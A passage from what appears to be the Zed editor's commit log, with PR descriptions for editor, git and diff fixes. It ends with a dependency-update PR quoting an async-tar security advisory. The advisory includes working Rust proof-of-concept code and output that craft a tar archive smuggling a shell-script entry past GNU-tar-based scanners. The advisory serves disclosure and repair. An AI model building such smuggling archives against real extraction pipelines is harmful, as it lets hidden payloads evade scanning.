typically completes within 3 ms when processing the maximum sampled input. ## Testing I added a test for language detection in untitled buffers that covers both manually entered and pasted content. The test passes successfully. I also manually tested the feature to verify that the overall experience works well. ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable ## Showcase https://github.com/user-attachments/assets/96e28ad7-2968-4325-9aff-37fe813a2da7 --- Release Notes: - Added automatic language detection for untitled buffers. --------- Co-authored-by: Max Stevens <maxstevens2708@gmail.com> |
||
|
|
728cb247e9 |
buffer_diff: Canonicalize ambiguous hunk placement to fix staging corruption (#60584)
Closes #60424 ## Problem With the repro from #60424, staging the first deletion hunk marked the second deletion as staged in the UI even though git still had it unstaged, and clicking the (incorrectly shown) Unstage button inserted a duplicate copy of the hunk's contents into the git index on every click. The root cause is ambiguous hunk placement. The committed text contains repeated `end\n\n` line runs, so the deletion hunks can "slide": more than one placement produces a minimal diff. The uncommitted diff (HEAD vs worktree) anchored the remaining deletion at one row while the unstaged diff (index vs worktree), recomputed after the partial stage, anchored the same logical deletion at a different row. Everything that correlates hunks across those two diffs assumes they agree on positions: - the secondary-status matching in `hunks_intersecting_range_impl` found no unstaged hunk at the uncommitted hunk's rows and reported it as staged (`NoSecondaryHunk`); - the worktree→index projection in `compute_uncommitted_index_edits` treated the hunk's position as unchanged text and, on unstage, inserted the hunk's HEAD content at an index position that already contained it, duplicating it on every request. ## Fix Upgrade `imara-diff` from 0.1.8 to 0.2.0 and run `Diff::postprocess_lines` (imara-diff's port of git's xdiff slider/indent heuristic) after computing hunks in `buffer_diff`. This canonicalizes the placement of ambiguous hunks based only on their local content, so diffs of the same buffer against different base texts anchor the same logical change at the same rows. A bonus is that Zed's hunk placement now matches `git diff`'s output for such cases (git has used the indent heuristic by default since 2.11). As defense in depth, `compute_uncommitted_index_edits` now drops a pure-insertion index edit whose content is already present at the target position, so a stale secondary status can no longer duplicate index content. The imara-diff 0.2 API removed the `Sink` trait and the top-level `diff()` function, so the other call sites (`language/text_diff.rs`, `zeta_prompt/udiff.rs`, `edit_prediction_metrics/reversal.rs`) are migrated mechanically to `Diff::compute` + `hunks()` with unchanged behavior (0.2 also renamed `lines_with_terminator` to `lines` and changed the default `&str` tokenization to include terminators; the unified-diff builders keep terminator-less tokens via `str::lines()`). ## Testing - New regression test `test_staging_hunks_with_ambiguous_placement` replays the exact repro from #60424 (same file contents): stages the first deletion, asserts the remaining hunks keep their unstaged status and the index matches exactly, then issues repeated unstage requests for the unstaged hunk and asserts the index is unchanged. Before the fix this test showed the second hunk flipping to staged and the index growing by one copy of the deleted block per unstage request. - `buffer_diff`, `language`, `zeta_prompt`, `edit_prediction_metrics`, `multi_buffer`, `git_ui`, `editor`, and the `project` integration suite pass. - One test expectation updated: `editor::test_fold_function_bodies` asserted the old placement of an ambiguous deletion (blank line before comment); the canonicalized placement (comment before blank line) matches what `git diff` produces for the same texts. Release Notes: - Fixed staging a hunk sometimes marking a different hunk as staged (and subsequent unstaging corrupting the git index) when the diff contained repeated lines ([#60424](https://github.com/zed-industries/zed/issues/60424)). --------- Co-authored-by: Cole Miller <cole@zed.dev> |
||
|
|
2e405c7c7a |
gpui: Remove ExitProcess shutdown workaround (#61219)
The issue with aws-lc that necessitated this workaround has been fixed upstream: https://github.com/aws/aws-lc/issues/3197. Release Notes: - N/A |
||
|
|
cd91c84675 |
gpui: Add system notification platform APIs (#61189)
Release Notes: - N/A or Added/Fixed/Improved ... --------- Co-authored-by: John Tur <john-tur@outlook.com> |
||
|
|
ec06066302 |
outline: Add preview pane to buffer symbols (#61069)
# Objective - Implement preview pane for buffer symbols, similar to #59863 ## Showcase ### Before <img width="4512" height="2980" alt="CleanShot 2026-07-15 at 23 25 19@2x" src="https://github.com/user-attachments/assets/443f150a-bb67-4bac-ba4a-f8f299554470" /> ### After <img width="4512" height="2980" alt="CleanShot 2026-07-15 at 23 19 09@2x" src="https://github.com/user-attachments/assets/0fd4be89-d25e-4052-8de0-3a9a5a5908f9" /> --- Release Notes: - Added a preview pane to the buffer symbols picker |
||
|
|
28ed883b99 |
Bump taffy (#61183)
Follow-up to https://github.com/zed-industries/zed/pull/60721 Release Notes: - N/A |
||
|
|
23ee3ba37d |
project_panel: Add remote support for undo/redo system (#59709)
# Objective Add remote (SSH) and collaboration support for trashing and restoring files in the project panel, which in turn enables undo/redo of trash operations against remote and collab projects. Relates to #5039. ## Solution - Updated the project panel undo system to carry `TrashId` instead of `TrashedEntry`. - Using `TrashedEntry` could get hairy, as it includes paths, which wouldn't play too nicely when using, for exapmle, macOS as the client and Windows as the host. Using a simple identifier is much easier in this regard and simplifies implementation. - Enabled the Trash action and context-menu entry on remote projects, and removed the command palette filter in `ProjectPanel::new` that was still hiding the action on remote. - As far as I can tell, there isn't a reliable way to detect whether a given remote actually supports the OS trash, so we expose the action everywhere rather than guessing. On a remote without trash support the action will fail when invoked but this is a conscious tradeoff until we find a better way to handle this. - `fs` now tracks trashed files in a `SlotMap<TrashId, TrashedEntry>` on each `Fs` implementation. Trashed files are referenced by an opaque `TrashId` instead of passing a `TrashedEntry` around, which avoids serializing filesystem paths in remote messages. - Split the old `delete_entry(trash: bool)` API into distinct `trash_entry`/`trash_file` (returning a `TrashId`) and `delete_entry`/`delete_file` across `Project`, `Worktree`, `LocalWorktree` and `RemoteWorktree`. - This lets us drop the optional trash result (`Option<TrashedEntry>`) from the delete path and require a `TrashId` from the trash path. - Added new proto messages (`TrashProjectEntry`, `TrashProjectEntryResponse`, `RestoreProjectEntry`, `RestoreProjectEntryResponse`) to let clients request the host to trash or restore entries. - This deprecates `DeleteProjectEntry::use_trash`, but the host still honors it. An older collab peer may request trashing via that flag instead of the newer `TrashProjectEntry`. If the host ignored it, a newer host would permanently delete a file the user meant to send to the trash. The field will be removed in a later PR once all supported peers use `TrashProjectEntry`. ## Testing The following tests were introduced to ensure the new behavior is correctly tested: * `remote_server::remote_editing_tests::test_remote_trash_restore` – Tests trashing a project entry in remote * `remote_server::remote_editing_tests::test_remote_delete_project_entry_with_trash` – Test to ensure we continue respecting `DeleteProjectEntry::use_trash` until it is fully removed * `project_panel::tests::undo::trash_directory_undo_redo` – Not related to these changes but a nice to have as we were missing a test ensuring that trashing and then undoing and redoing it for a directory works as expected Besides these, the following scenarios were manually tested against a remote session on the same machine (macOS): - Trashing → Undo (Restore) → Redo (Trashing) - Batch Trashing → Undo (Batch Restore) → Redo (Batch Trashing) - Rename → Undo (Rename) → Redo (Rename) - Move → Undo (Move) → Redo (Move) - Batch Move → Undo (Batch Move) → Redo (Batch Move) ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [ ] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [x] Tests cover the new/changed behavior - [ ] Performance impact has been considered and is acceptable Release Notes: - N/A --------- Co-authored-by: Yara <git@yara.blue> |
||
|
|
22c0cbd009 |
gpui: Bump taffy from 0.10.1 to 0.12.1 (#60721)
Migrates the alignment conversions to taffy's new safe-alignment style types: `AlignItems`/`AlignContent` and friends are now structs pairing a keyword with a safety modifier, constructed via associated constants (e.g. `AlignItems::START`) instead of enum variants. The motivating change in this release is [taffy #911](https://github.com/DioxusLabs/taffy/commit/df2663aad35801f7522f6878a0300646dfe624f7) ("More correct caching logic"), which keys taffy's per-node measure cache on axis, parent size, and available space. Today GPUI is largely immune to the old cache-key conflation because text answers every sizing probe with the same width; the follow-up PR in this stack (honest min-content text measurement) returns different sizes for different constraints, which makes cache-key correctness a prerequisite. 0.12.1 additionally hotfixes two block layout/caching regressions in 0.12.0, and 0.11.0's grid fix (resolving item percentages against the grid area rather than the container) comes along as well. Stack: 1. **This PR** — taffy 0.12.1 2. #60722 — honest min-content text measurement 3. #60723 — CSS `auto` grid tracks for table-like column sizing Release Notes: - N/A |
||
|
|
b76c0417c0 |
Bump Zed to v1.13.0 (#61059)
Release Notes: - N/A Co-authored-by: zed-zippy[bot] <234243425+zed-zippy[bot]@users.noreply.github.com> |
||
|
|
919ec316f3 |
search: Add LSP location pickers for references, definitions, and diagnostics (#59838)
# Objective Closes #59829 Provide a filterable, preview-backed picker for LSP results as an alternative to the multi-buffer view, for references, definitions, implementations. ## Solution Update the 3 existing LSP actions (definitions, implementations, find all references) to add a `open_results_in` parameter which accepts either `multi_buffer` (default) or `picker` to show the results in a filterable picker with preview. This behavior can be configured globally in the settings via `lsp_results_location`. UX: - The 3 existing LSP actions each accept a `open_results_in` parameter so that each action can be configuring individually with a custom keybind - The `lsp_results_location` global setting can be used to set a default behavior with `open_results_in == None` - Go to definition falls back to find all references (if configured) on empty results which is consistent with the non-picker path - Results are grouped by file; each row shows the line number and the syntax-highlighted source line with the match emphasized. - Typing filters by line text or path; the preview updates with the selection. - Enter/click opens the selection, `cmd/ctrl-enter` opens it in a split, and re-invoking the command toggles the picker closed. - Empty results show a toast so the command never silently does nothing. - Note: the new pickers do not open on cmd-click, only when invoked via the command palette or keybind ## Testing - No automated tests yet — holding for first-round feedback on the approach and UX before adding tests. ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [ ] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [x] Tests cover the new/changed behavior - [ ] Performance impact has been considered and is acceptable ## Showcase https://github.com/user-attachments/assets/41538f23-9b54-4dfc-bfa7-a61564a675a8 --- Release Notes: - The find all references, go to definitions, and go to implementations LSP actions can be configured to open results in a picker with preview instead of a multibuffer. |
||
|
|
a6a2cd66b0 |
language_core: Remove lsp-types dependency (#61041)
Release Notes: - N/A or Added/Fixed/Improved ... |
||
|
|
6b6393fb0b |
Split out RelPath into a separate crate (#61029)
This is necessary to remove some `util` dependencies from crates, as well as better sharing for our projects. This also includes the WIP AbsPath abstraction as well as some bug fixes from internal tooling. Release Notes: - N/A or Added/Fixed/Improved ... |
||
|
|
995cc07249 |
git: Add a gpg wrapper script to route GnuPG prompts via the askpass UI (#58791)
This PR adds support for entering your git GPG passphrase through the askpass UI. As a daily Zed user I'm really missing this feature, this forces me to switch to a terminal or an external application. which is not ideal for me and most people that are forced to use GPG signing. Right now Zed can show a similar error (redacted) when you are trying to commit with GPG signing enabled: ``` error: gpg failed to sign the data: [GNUPG:] KEY_CONSIDERED <redacted> 2 [GNUPG:] BEGIN_SIGNING H8 [GNUPG:] PINENTRY_LAUNCHED 4625 curses 1.3.2 - xterm-ghostty - - 501/20 0 gpg: signing failed: Inappropriate ioctl for device [GNUPG:] FAILURE sign <redacted> gpg: signing failed: Inappropriate ioctl for device fatal: failed to write commit object ``` Here is the key configurion parts of my **global** git config: ``` [user] name = Remco Smits email = <redacted> signingkey = <redacted> [commit] gpgsign = true [tag] gpgsign = true ``` **Before** https://github.com/user-attachments/assets/60a06574-92f1-45df-a29a-8ae11db6751d **After** https://github.com/user-attachments/assets/92b648e9-b538-4ce5-af4c-136689d14e1a **How to test this?** 1. Create a key `gpg --full-generate-key` 2. Run `git config --global user.signingkey <KEY ID>` 3. Run `git config --global commit.gpgsign true` 4. Run & copy result from `gpg --armor --export <KEY ID>` and submit your public key to github [https://github.com/settings/gpg/new](https://github.com/settings/gpg/new) 5. Make a change and try committing 6. See that it promts for your passphrase :) **Note**: I used AI as an assistant to write this PR Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content is consistent with the [UI/UX checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) - [ ] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Release Notes: - Git: Passphrase prompts from GPG to unlock commit signing keys are now shown in Zed. Co-authored-by: Lukas Wirth <lukas@zed.dev> |
||
|
|
1063107f5e |
Show download percentage in download button's tooltip (#60990)
Closes https://github.com/zed-industries/zed/discussions/60944 <img width="568" height="143" alt="downloads" src="https://github.com/user-attachments/assets/e5643106-a0c9-496c-bff2-300faad38839" /> Release Notes: - Started to show download percentage in download button's tooltip |
||
|
|
31f1c84909 |
crashes: Capture glibc's abort diagnostic in crash reports (#60624)
Linux crash reports for runtime-initiated aborts currently carry no information about why the runtime aborted. A sizable family of Sentry issues (FR-108 / [ZED-9SC](https://zed-dev.sentry.io/issues/7581925141/) among them) consists of glibc's malloc integrity checks detecting heap corruption and aborting from inside `malloc`/`realloc`/`free`, so each event lands on a random victim stack and the underlying problem stays invisible and ungroupable. glibc records the diagnostic it prints before aborting ("free(): invalid pointer", "double free or corruption", assertion failures, stack-smashing reports) in the private `__abort_msg` global specifically so it can be recovered post-mortem. This resolves that symbol's address at startup and sends it to the crash-handler process; when a crash comes in, the handler reads the message out of the crashed process's memory with `process_vm_readv` while the client is still parked in its signal handler awaiting the dump acknowledgement. The message is then attached to crash uploads as a searchable `abort_message` tag plus a full-text context. The crashed process does no work itself, which matters because in exactly these crashes the crashed thread may hold the allocator's arena lock, so it cannot safely allocate or format anything. Everything degrades gracefully to the current behavior when the symbol is unavailable (musl, future glibc changes). With the tag in place, Sentry fingerprint rules can fold these corruption aborts into a single tracked issue instead of minting a new single-event issue per victim stack, and the message text distinguishes double-frees from out-of-bounds metadata corruption when hunting the actual culprit. Release Notes: - N/A |
||
|
|
084cf7b50f |
Update Rust crate async-tar to 0.6.0 [SECURITY] (#60623)
This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [async-tar](https://redirect.github.com/dignifiedquire/async-tar) | workspace.dependencies | minor | `0.5.1` → `0.6.0` | --- > [!WARNING] > Some dependencies could not be looked up. Check the [Dependency Dashboard](../issues/15138) for more information. --- ### async-tar PAX extension-header desync enables tar entry/content smuggling [CVE-2026-53600](https://nvd.nist.gov/vuln/detail/CVE-2026-53600) / [GHSA-35rm-7j9c-2f7m](https://redirect.github.com/advisories/GHSA-35rm-7j9c-2f7m) <details> <summary>More information</summary> #### Details ##### Summary `async-tar` v0.6.0 mis-applies a buffered PAX `size` extension to an intermediary extension header (a GNU longname `L`, a GNU longlink `K`, or a PAX `x`/`g` header) instead of to the next *file* entry. POSIX requires a PAX extended-header record set to describe the next file entry, never an intervening extension header. Because `poll_next_raw` (`src/archive.rs`) threads the buffered PAX records into the size computation of whatever raw header it reads next — and that header can be an intermediary `L` — the stream cursor is advanced by an attacker-chosen amount when the `L` body is consumed. The parser then desyncs relative to a POSIX-correct tar parser (e.g. GNU tar), reading subsequent bytes at the wrong block boundary. An attacker who can influence a tar stream that an `async-tar` consumer extracts can construct an `x → L → file` sequence whose entry list and on-disk result differ between `async-tar` and a reference parser. This enables content/entry smuggling: a file that a GNU-tar-based scanner/validator/AV sees as benign opaque data is extracted by `async-tar` as a different file with different bytes (e.g. an executable script), and vice versa. Type confusion / improper validation of the specified quantity (size). CWE-20, CWE-843. Severity assessed Medium, consistent with the same defect class in the upstream tar-rs / tokio-tar lineage. ##### Affected code Package: `async-tar` (crates.io). Affected version: **0.6.0** (latest release) and current `main` HEAD. Both lack the extension-header guard. `src/archive.rs`, `poll_next_raw` (line numbers from the v0.6.0 tag, commit `45814b19295b7398e119c90c57d8c8bf70a798b6`): ```rust let file_pos = *next; let mut header = current_header.take().unwrap(); // when pax extensions are available, the size should come from there. let mut size = header.entry_size()?; // the size above will be overriden by the pax data if it has a size field. // same for uid and gid, which will be overridden in the header itself. if let Some(pax_extensions_data) = pax_extensions_data { // <-- no is_extension_header guard let pax = pax_extensions(pax_extensions_data); for extension in pax { let extension = extension.map_err(|_e| other("pax extensions invalid"))?; let Some(key) = extension.key().ok() else { continue }; match key { "size" => { let size_str = extension.value() .map_err(|_e| other("failed to parse pax size as string"))?; size = size_str.parse::<u64>() .map_err(|_e| other("failed to parse pax size"))?; } "uid" => { let v = extension.value().unwrap(); header.set_uid(v.parse().unwrap()); } "gid" => { let v = extension.value().unwrap(); header.set_gid(v.parse().unwrap()); } _ => { continue } } } } let data = EntryIo::Data(archive.clone().take(size)); // body length = mis-applied PAX size ``` and a few lines further down the same function: ```rust // Store where the next entry is, rounding up by 512 bytes. let size = (size + 511) & !(512 - 1); *next += size; // cursor advance = mis-applied PAX size ``` The caller loop in `src/archive.rs` (`Entries::poll_next`) buffers a PAX local extension into `current_pax_extensions` and then calls `poll_next_raw` with `current_pax_extensions.as_deref()` for the *next* raw header. When that next raw header is an intermediary GNU longname (handled by the `is_gnu_longname()` branch a few lines later), the PAX `size` is applied to it, so `*next` advances by the spoofed size rather than the `L` header's own declared size. That is the desync. The buffered PAX records are intended to apply only to the following *file* entry; the missing check is whether the raw header currently being sized is itself an extension header (`L`/`K`/`x`/`g`). ##### Impact Differential extraction / entry smuggling. A consumer that extracts an attacker-influenced tar stream with `async-tar` (e.g. a server endpoint that unpacks an uploaded `.tar`/`.tar.gz`, a dependency/artifact fetcher that unpacks a remote tarball, an archive-preview/scan pipeline) will: - materialize files / file contents that a POSIX-correct parser (GNU tar, libarchive/bsdtar) does not surface, and - omit or alter files that the reference parser does surface. This breaks any security control that relies on scanning the archive with one parser and extracting with `async-tar`: a malware/secret scanner reading the stream with GNU tar can be made to see only benign data while `async-tar` writes an executable payload to disk. It can also be used to hide entries from audit/inventory tooling, or to write content to a path the reviewer believes holds something else. No attacker-controlled local state is required — only the ability to influence the bytes of the tar stream that the consumer extracts. ##### How input reaches the sink (reachability) The vulnerable path is the library's primary public API for reading archives: `Archive::new(reader).entries()` returns an `Entries` stream whose `poll_next` drives `poll_next_raw` for every header. Any consumer that iterates entries (or calls `unpack`/`unpack_in` on them) of an attacker-influenced tar stream reaches the sink with no additional configuration. The `reader` need not be a file — it is any `AsyncRead`, so an upload buffer, an HTTP response body, or a decompressor output all qualify. The only precondition for the desync is that the stream contain a PAX local-extension header (`x`) carrying a `size` record immediately followed by an intermediary GNU longname (`L`) before the next file header — a structure the attacker fully controls in the archive bytes. Representative reachable consumers are server endpoints that unpack uploaded `.tar`/`.tar.gz` bodies, dependency/artifact fetchers that unpack remote tarballs, and archive-scan/preview pipelines. ##### Proof of concept A standalone Rust consumer binary that links the published crates.io `async-tar = "=0.6.0"` (`default-features = false, features = ["runtime-tokio"]`) and runs the real `Archive::new(...).entries()` extraction loop (the same shape used by real downstream server consumers that unpack uploaded tarballs). It reads a tar file and writes each entry to a destination directory, printing the entry list `async-tar` surfaces. A second binary hand-crafts the malicious and benign tar byte streams. Malicious archive geometry (block = 512 bytes): ``` B0 x PAX local-extension header, records declare size=1024 (= 2 blocks) B1 PAX records ("<len> size=1024\n") B2 L GNU longname header, OWN declared size = 512 (= 1 block) B3 longname block #​1 = "GNU_SEES_THIS.txt\0..." (the name GNU tar uses) B4 a normal file header "placeholder_A" (size 512) B5 <-- this block IS a valid tar header for the smuggled file "hidden_payload.sh" (size 65) B6 smuggled payload "#!/bin/sh\n# SMUGGLED ENTRY...\n" B7,B8 two zero blocks (EOF) ``` GNU tar honours the `L` header's own declared size (1 block) for the longname and ignores the buffered PAX `size`, so it reads B3 as the longname, treats B4 as the file, and reads B5 as that file's opaque data. `async-tar` mis-applies the PAX `size` (2 blocks) to the `L` header, reads B3+B4 as the longname, lands its cursor on B5, parses it as a tar header, and extracts the smuggled `hidden_payload.sh` body (B6). Tar-builder source (`mktar.rs`): ```rust use std::io::Write; const BLOCK: usize = 512; fn octal(buf: &mut [u8], v: u64) { let s = format!("{:0width$o}", v, width = buf.len() - 1); let b = s.as_bytes(); buf[..b.len()].copy_from_slice(b); buf[b.len()] = 0; } fn header(name: &[u8], size: u64, typeflag: u8) -> [u8; BLOCK] { let mut h = [0u8; BLOCK]; let n = name.len().min(100); h[..n].copy_from_slice(&name[..n]); octal(&mut h[100..108], 0o644); octal(&mut h[108..116], 0); octal(&mut h[116..124], 0); octal(&mut h[124..136], size); octal(&mut h[136..148], 0); h[156] = typeflag; if typeflag == b'L' { h[257..265].copy_from_slice(b"ustar \0"); } else { h[257..263].copy_from_slice(b"ustar\0"); h[263..265].copy_from_slice(b"00"); } for b in &mut h[148..156] { *b = b' '; } let sum: u32 = h.iter().map(|b| *b as u32).sum(); h[148..156].copy_from_slice(format!("{:06o}\0 ", sum).as_bytes()); h } fn pad(out: &mut Vec<u8>, len: usize) { let rem = len % BLOCK; if rem != 0 { out.extend(std::iter::repeat(0u8).take(BLOCK - rem)); } } fn pax_record(key: &str, val: &str) -> Vec<u8> { let mut len = key.len() + val.len() + 3; loop { let s = format!("{} {}={}\n", len, key, val); if s.len() == len { return s.into_bytes(); } len = s.len(); } } fn name_block(name: &[u8]) -> Vec<u8> { let mut b = vec![0u8; BLOCK]; b[..name.len()].copy_from_slice(name); b } fn write_block(out: &mut Vec<u8>, data: &[u8]) { out.extend_from_slice(data); pad(out, data.len()); } fn build_malicious() -> Vec<u8> { let mut out = Vec::new(); let gnu_name = b"GNU_SEES_THIS.txt"; let spoof = (BLOCK * 2) as u64; let mut recs = Vec::new(); recs.extend(pax_record("size", &spoof.to_string())); out.extend_from_slice(&header(b"./PaxHeaders/0", recs.len() as u64, b'x')); write_block(&mut out, &recs); out.extend_from_slice(&header(b"././@​LongLink", BLOCK as u64, b'L')); out.extend_from_slice(&name_block(gnu_name)); // B3 out.extend_from_slice(&header(b"placeholder_A", BLOCK as u64, b'0')); // B4 let smuggled_body = b"#!/bin/sh\n# SMUGGLED ENTRY: invisible to a GNU-tar-based scanner\n".to_vec(); out.extend_from_slice(&header(b"hidden_payload.sh", smuggled_body.len() as u64, b'0')); // B5 write_block(&mut out, &smuggled_body); // B6 out.extend(std::iter::repeat(0u8).take(BLOCK * 2)); out } fn build_benign() -> Vec<u8> { let mut out = Vec::new(); let mut recs = Vec::new(); recs.extend(pax_record("path", "normal_file.txt")); out.extend_from_slice(&header(b"./PaxHeaders/0", recs.len() as u64, b'x')); write_block(&mut out, &recs); let body = b"plain benign content\n".to_vec(); out.extend_from_slice(&header(b"normal_file.txt", body.len() as u64, b'0')); write_block(&mut out, &body); let body2 = b"second benign file\n".to_vec(); out.extend_from_slice(&header(b"second.txt", body2.len() as u64, b'0')); write_block(&mut out, &body2); out.extend(std::iter::repeat(0u8).take(BLOCK * 2)); out } fn main() { let a: Vec<String> = std::env::args().collect(); let bytes = match a[1].as_str() { "malicious" => build_malicious(), "benign" => build_benign(), _ => std::process::exit(2) }; std::fs::File::create(&a[2]).unwrap().write_all(&bytes).unwrap(); } ``` Consumer source (`main.rs`, mirrors a real `Archive::entries()` extraction loop): ```rust use async_tar::Archive; use tokio::fs; use tokio::io::AsyncReadExt; use tokio_stream::StreamExt; #[tokio::main(flavor = "multi_thread", worker_threads = 2)] async fn main() { let args: Vec<String> = std::env::args().collect(); let dest = std::path::PathBuf::from(&args[2]); fs::create_dir_all(&dest).await.unwrap(); let bytes = fs::read(&args[1]).await.unwrap(); let archive = Archive::new(std::io::Cursor::new(bytes)); let mut entries = archive.entries().expect("entries()"); let mut idx = 0usize; while let Some(entry) = entries.next().await { let mut file = match entry { Ok(f) => f, Err(e) => { println!("[async-tar] ERROR: {e}"); break } }; let path_raw = file.path().expect("path").into_owned(); let path_disp = path_raw.to_string_lossy().split('\u{0}').next().unwrap_or("").to_string(); let hdr_size = file.header().size().unwrap_or(0); let mut out = dest.clone(); for comp in std::path::PathBuf::from(&path_disp).components() { if let std::path::Component::Normal(p) = comp { out.push(p); } } let mut body = Vec::new(); let read = file.read_to_end(&mut body).await.unwrap_or(0); if let Some(parent) = out.parent() { let _ = fs::create_dir_all(parent).await; } let _ = fs::write(&out, &body).await; let preview: String = body.iter().take(48) .map(|b| if b.is_ascii_graphic() || *b == b' ' { *b as char } else { '.' }).collect(); println!("[async-tar] entry#{idx} path={:?} hdr_size={hdr_size} bytes_read={read} body=\"{preview}\"", path_disp); idx += 1; } println!("[async-tar] total entries surfaced: {idx}"); } ``` `Cargo.toml`: ```toml [dependencies] async-tar = { version = "=0.6.0", default-features = false, features = ["runtime-tokio"] } tokio = { version = "1", features = ["rt-multi-thread", "macros", "io-util", "fs"] } tokio-stream = "0.1" futures = "0.3" ``` ##### End-to-end reproduction Reference parser: GNU tar 1.35. async-tar: the v0.6.0 crates.io release linked by the consumer binary above. Verbatim captured output: ``` $ cargo build --release # links async-tar v0.6.0 from crates.io Compiling async-tar v0.6.0 Compiling async-tar-consumer v0.1.0 Finished `release` profile [optimized] target(s) in 10.12s $ ./target/release/mktar malicious mal.tar wrote 4608 bytes to mal.tar ##### ---- (A) GNU tar reference: list + extract ---- $ gtar tvf mal.tar ; echo "rc=$?" -rw-r--r-- 0/0 1024 1970-01-01 08:00 GNU_SEES_THIS.txt rc=0 $ gtar xf mal.tar -C /tmp/gnu_x ; echo "rc=$?" rc=0 $ head -c 80 /tmp/gnu_x/GNU_SEES_THIS.txt hidden_payload.sh ##### (GNU tar surfaces ONE file, 1024 bytes; its data is the opaque tar-header ##### bytes of B5 — a GNU-tar-based scanner sees only benign noise.) ##### ---- (B) async-tar v0.6.0 consumer: extract ---- $ ./target/release/extract mal.tar /tmp/at_mal [async-tar] entry#0 path="GNU_SEES_THIS.txt" hdr_size=65 bytes_read=1024 body="#!/bin/sh.# SMUGGLED ENTRY: invisible to a GNU-t" [async-tar] total entries surfaced: 1 $ head -c 80 /tmp/at_mal/GNU_SEES_THIS.txt #!/bin/sh ##### SMUGGLED ENTRY: invisible to a GNU-tar-based scanner ``` Same bytes, two parsers, different on-disk result: GNU tar writes a 1024-byte benign blob; `async-tar` writes a 65-byte executable shell script that the reference parser never exposes as an entry. The smuggled `#!/bin/sh` body is content a GNU-tar-based scanner would never inspect. Negative control — a benign archive (correct PAX usage: `x` applies `path` to the following file, no intermediary `L`): ``` $ ./target/release/mktar benign ben.tar $ gtar tvf ben.tar ; echo "rc=$?" -rw-r--r-- 0/0 21 1970-01-01 08:00 normal_file.txt -rw-r--r-- 0/0 19 1970-01-01 08:00 second.txt rc=0 $ ./target/release/extract ben.tar /tmp/at_ben [async-tar] entry#0 path="normal_file.txt" hdr_size=21 bytes_read=21 body="plain benign content." [async-tar] entry#1 path="second.txt" hdr_size=19 bytes_read=19 body="second benign file." [async-tar] total entries surfaced: 2 ``` GNU tar and `async-tar` produce identical entry lists and identical on-disk files. No smuggling. The differential is exclusive to the `x → L → file` desync sequence. ##### Fix Apply the buffered PAX records (and the `size`/`uid`/`gid` overrides) only when the raw header being sized is NOT itself an extension header. Skip the override for GNU longname (`L`), GNU longlink (`K`), and PAX local/global (`x`/`g`) headers, whose body length must come from their own declared size. This mirrors the fix adopted in the upstream tar-rs / tokio-tar lineage for the same defect class. ```rust // when pax extensions are available, the size should come from there. let mut size = header.entry_size()?; // PAX extensions describe the NEXT file entry, not an intermediary // extension header. Applying a buffered PAX `size` to such an intermediary // header (L/K/x/g) advances the stream cursor by the wrong amount and // desyncs the parse. let entry_type = header.entry_type(); let is_extension_header = entry_type.is_gnu_longname() || entry_type.is_gnu_longlink() || entry_type.is_pax_local_extensions() || entry_type.is_pax_global_extensions(); // the size above will be overriden by the pax data if it has a size field. // same for uid and gid, which will be overridden in the header itself. if let Some(pax_extensions_data) = pax_extensions_data.filter(|_| !is_extension_header) { let pax = pax_extensions(pax_extensions_data); for extension in pax { // unchanged: same size/uid/gid override loop as before } } ``` Fix-verify, captured verbatim. The patched `async-tar` (guard added) re-run against the same `mal.tar`: ``` $ cargo build --release # [patch.crates-io] async-tar = { path = "../async-tar-patched" } Compiling async-tar v0.6.0 (.../async-tar-patched) Compiling async-tar-consumer v0.1.0 Finished `release` profile [optimized] target(s) $ ./target/release/extract mal.tar /tmp/at_fix [async-tar] entry#0 path="GNU_SEES_THIS.txt" hdr_size=512 bytes_read=1024 body="hidden_payload.sh..............................." [async-tar] total entries surfaced: 1 $ head -c 80 /tmp/at_fix/GNU_SEES_THIS.txt hidden_payload.sh ``` With the guard, `async-tar`'s view converges with GNU tar's: it surfaces `GNU_SEES_THIS.txt` with the opaque B5 bytes (`hidden_payload.sh...`) as data, and no longer extracts the smuggled executable script. The benign control still produces the correct two-file output. The desync is eliminated. ##### Fix PR A fix PR adding the `is_extension_header` guard to `poll_next_raw` in `src/archive.rs` is opened from the advisory's temporary private fork against this repository. It carries the diff shown in the **Fix** section above (no behavioural change for well-formed archives; only intermediary `L`/`K`/`x`/`g` headers stop inheriting a following PAX `size`). ##### Credit Reported by tonghuaroot. #### Severity - CVSS Score: 6.3 / 10 (Medium) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N` #### References - [https://github.com/dignifiedquire/async-tar/security/advisories/GHSA-35rm-7j9c-2f7m](https://redirect.github.com/dignifiedquire/async-tar/security/advisories/GHSA-35rm-7j9c-2f7m) - [https://github.com/advisories/GHSA-35rm-7j9c-2f7m](https://redirect.github.com/advisories/GHSA-35rm-7j9c-2f7m) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-35rm-7j9c-2f7m) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Release Notes <details> <summary>dignifiedquire/async-tar (async-tar)</summary> ### [`v0.6.1`](https://redirect.github.com/dignifiedquire/async-tar/compare/v0.6.0...v0.6.1) [Compare 